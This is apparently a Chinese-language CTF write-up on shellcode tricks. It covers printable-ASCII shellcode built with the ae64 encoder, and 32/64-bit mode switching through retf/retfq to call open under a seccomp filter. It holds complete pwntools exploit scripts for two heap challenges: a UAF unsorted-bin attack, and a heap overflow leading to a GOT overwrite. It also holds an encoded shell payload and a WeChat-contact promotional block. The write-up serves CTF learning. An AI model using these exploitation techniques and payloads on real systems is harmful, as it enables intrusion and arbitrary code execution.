ASCII碼-shellcode的技巧

網上已經有成熟的工具了,所以就簡單記錄一下工具怎麼用吧

https://github.com/TaQini/alpha3

https://github.com/veritas501/ae64.git

https://github.com/rcx/shellcode_encoder

結合題目來看吧,沒有開啓NX保護,基本這類型題目九成九都是shellcode題

image-20230812220258102

程序一開始會讓我們在bss段上輸入數據,並且判斷輸入的字符大小是否小於0x1F,再結合NX保護沒開啓的操作,很容易可以想到此時輸入的就是shellcode,而每個字節的不能小於0x1F,那麼使用ASCII碼shellcode就可以完全繞過了,因爲小於0x1F的都是不可見字符

image-20230812220502748

接着再來看題目存在的漏洞,題目存在很明顯的UAF漏洞

image-20230812220758365

在選項5中則是留有觸發shellcode的條件,只要dword_602440不爲0則直接指向我們輸入的shellcode,而dword_602440位於bss段,因此默認就爲0

image-20230812220848343

而在add函數中,分配堆塊又恰好都在unsortbin的範圍內,那麼思路很清楚了,就是使用unsortbin修改dword_602440的值,那麼就能觸發shellcode

image-20230812221039170

剩下就是shellcode如何繞過0x1F這個限制,可以看到syscal是\xf\x5,因此syscal都無法繞過這個限制

image-20230812221435095

這裏使用ae64這個工具

【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備註 “博客園” 獲取!】

 ① 網安學習成長路徑思維導圖
 ② 60+網安經典常用工具包
 ③ 100+SRC漏洞分析報告
 ④ 150+網安攻防實戰技術電子書
 ⑤ 最權威CISSP 認證考試指南+題庫
 ⑥ 超1800頁CTF實戰技巧手冊
 ⑦ 最新網安大廠面試題合集(含答案)
 ⑧ APP客戶端安全檢測指南(安卓+IOS)

首先將需要修改的shellcode以二進制的形式導出,這裏直接用pwntools生成的shellcode即可

from ae64 import AE64
from pwn import *
context.arch='amd64'
​
# get bytes format shellcode
shellcode = asm(shellcraft.sh())
​
# get alphanumeric shellcode
f = open('shellcode','wb+')
f.write(shellcode)
f.close()
​

image-20230812222658159

接着使用ae64的庫直接修改爲ASCII碼shellcode

from pwn import *
from ae64 import AE64
​
context.arch = 'amd64'
​
​
obj = AE64()
sc = obj.encode(asm(shellcraft.sh()),'rdx')
print(sc)
​

這裏rdx即爲shellcode執行的時候call的寄存器

image-20230812223222314

然後就可以生成shellcode了

image-20230812223247022

緊接着拿這段生成的shellcode就可以繞過了

exp

from pwn import *
​
sh = process("./pwn")
context(arch='amd64')
​
​
def add(size):
    sh.recvuntil(" choice:")
    sh.sendline("1")
    sh.recvuntil(" message?")
    sh.sendline(str(size))
​
def delete(index):
    sh.recvuntil(" choice:")
    sh.sendline("2")
    sh.recvuntil("o be deleted?")
    sh.sendline(str(index))
​
def edit(index,content):
    sh.recvuntil(" choice:")
    sh.sendline("3")
    sh.recvuntil(" be modified?")
    sh.sendline(str(index))
    sh.recvuntil("t of the message?")
    sh.sendline(content)
​
def show(index):
    sh.recvuntil(" choice:")
    sh.sendline("4")
    sh.recvuntil(" to be showed?")
    sh.sendline(str(index))
​
def exp():
    sh.recvuntil(" choice:")
    sh.sendline("5")
payload = "RXWTYH39Yj3TYfi9WmWZj8TYfi9JBWAXjKTYfi9kCWAYjCTYfi93iWAZj3TYfi9520t800T810T850T860T870T8A0t8B0T8D0T8E0T8F0T8G0T8H0T8P0t8T0T8YRAPZ0t8J0T8M0T8N0t8Q0t8U0t8WZjUTYfi9200t800T850T8P0T8QRAPZ0t81ZjhHpzbinzzzsPHAghriTTI4qTTTT1vVj8nHTfVHAf1RjnXZP"
sh.send(payload)
add(0x81)
add(0x81)
delete(0)
edit(0, p64(0) + p64(0x602440 - 0x10))
add(0x81)
exp()
​
​
sh.interactive()

機器切換-shellcode

有時候會遇到題目需要同時使用32位shellcode與64位shellcode,那麼如何進行機器切換則成爲解題的關鍵。

CS寄存器則是用於標記機器位數的關鍵寄存器

  • CS=0x33,64位

  • CS=0x23,32位

那麼如何修改CS寄存器的值,則需要通過retfq與retf的指令

  • refq,從64位切換到32位

    • push 0x23; #32位的CS寄存器的值
      push 0xxx; #需要跳轉的地址
      retfq; #從32位切換到64位
  • ref,從32位切換至64位

    • push 0x33; #64的CS寄存器的值
      push 0xxx; #需要跳轉的地址
      retf; #從64位切換到32位

再以一道題目作爲例子,保護如下,還是沒有開啓NX保護

image-20230812224501848

題目漏洞在於,再add函數中可申請11個堆塊,而題目中給堆塊地址容納的個數爲10,因此申請的第11個堆塊的地址則會到length中,從而導致第1個堆塊的大小變成了堆塊的地址值,造成了堆溢出。

image-20230812224711955

這裏有個需要注意的地方是會首先檢測存放堆塊的位置是否爲0,爲0纔會給該堆塊申請的機會,因此第1個堆塊的大小必須設置爲0,才能夠申請到11個堆塊。

image-20230812225143067

題目還是用mallopt修改了fastbin的大小爲0x10,因此使得無法釋放的堆塊無法放置到fastbin中,但是mallopt實際是修改了max_global_fast的大小

image-20230812225341764

但是題目存在堆溢出漏洞,因此使用修改Unsortbin的bk指針,修改global_max_fast的即可,這樣就可以讓堆塊放進fastbin中了。

並且允許在bss段上輸入數據,且該地址剛好在存放堆塊地址的上方,因此僞造虛假堆塊在該位置就可以完成任意地址寫了。

image-20230812225458229

緊接着修改free函數的got表地址爲堆塊地址,就可以跳轉到shellcode中執行,可以看到堆塊地址也是具有可執行權限的。

image-20230812225635212

查看一下禁用了哪些函數,發現只能用read,write以及fstat函數,但是fstat函數對於這道題來說沒有用。那麼沒有open函數,我們就沒辦法進行orw的利用了。

image-20230812225852456

可以看到fstat函數的64位的系統調用號爲5

image-20230812230046268

但是32位下的系統調用號5爲open函數

image-20230812230125078

那麼如果能切換到32位下執行系統調用爲5的系統調用,即可完成open函數的執行,這裏就要用到上述的方法使用ref與refq指令完成機器位數的切換。

這裏需要注意兩個點

(1)在切換爲機器位數之後棧頂的地址會被截斷爲4個字節,因此需要重新調整一下棧頂的地址

image-20230812230855903

(2)在機器位數切換爲32位時,在執行系統調用還是會顯示原來的函數,但是這個是gdb顯示錯誤,它實際被修改爲open函數了

image-20230812230929182

exp

from pwn import *
​
#sh = process("./pwn")
​
elf = ELF("pwn")
​
def user(name,desc):
    sh.recvuntil("choice:")
    sh.sendline("0")
    sh.recvuntil(" name?")      
    sh.send(name)
    sh.recvuntil("desc?")
    sh.send(desc)
​
def add(size):
    sh.recvuntil("choice:")
    sh.sendline("1")
    sh.recvuntil(" message?")
    sh.send(str(size))
​
def delete(index):
    sh.recvuntil("choice:")
    sh.sendline("2")
    sh.recvuntil(" be deleted?")
    sh.send(str(index))
​
def edit(index, offset, content):
    sh.recvuntil("choice:")
    sh.sendline("3")
    sh.recvuntil("ssage to be modified?")
    sh.send(str(index))
    sh.recvuntil("message to be modified?")
    sh.send(str(offset))
    sh.recvuntil("ent of the message?")
    sh.send(content)
​
while(1):
    try:
        sh = process("./pwn")
        add(0) #0
        add(0) #1
        add(0x60)
        for i in range(8):
            add(0x71)
        delete(1)
        payload = p64(0)*3 + p64(0x21) + p64(0) + p16(0x37f8 - 0x10)
        edit(0,0,payload)
        add(9)
        delete(2)
        delete(3)
        delete(4)
        delete(5)
        user('a'*0x10+p64(0)+p64(0x71),'b')
        target = 0x6020f0 
        payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x71) + p64(target)
        edit(0,0,payload)
        add(0x60)#2
        sh.recvuntil("Ptr: ")
        addr = int("0x"+sh.recv(6),16)
        log.info("addr:"+hex(addr))
        add(0x60)#3
        edit(3,0,p64(elf.got['free']))
        payload = asm('push 0x23;push '+hex(addr+9)+';retfq', arch='amd64')
        payload += asm('mov esp, '+hex(target+0x50)+';push 0x6761;push 0x6c662f2e;push esp;pop ebx; xor ecx,ecx; mov eax,5; int 0x80',arch='i386')
        payload += asm('push 0x33;push '+hex(addr+0x2b)+';retf')
        payload += asm('mov rdi,rax; mov rsi,0x602080;mov rdx, 0x100;mov rax, 0;syscall;',arch='amd64')
        payload += asm('mov rdi,1;mov rax ,1;syscall;',arch='amd64')
        edit(2,0,payload)
        edit(0,0,p64(addr))
        #attach(sh,'b*'+str(addr))
        delete(6)
        sh.interactive()
    except:
        continue

更多網安技能的在線實操練習,請點擊這裏>>

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章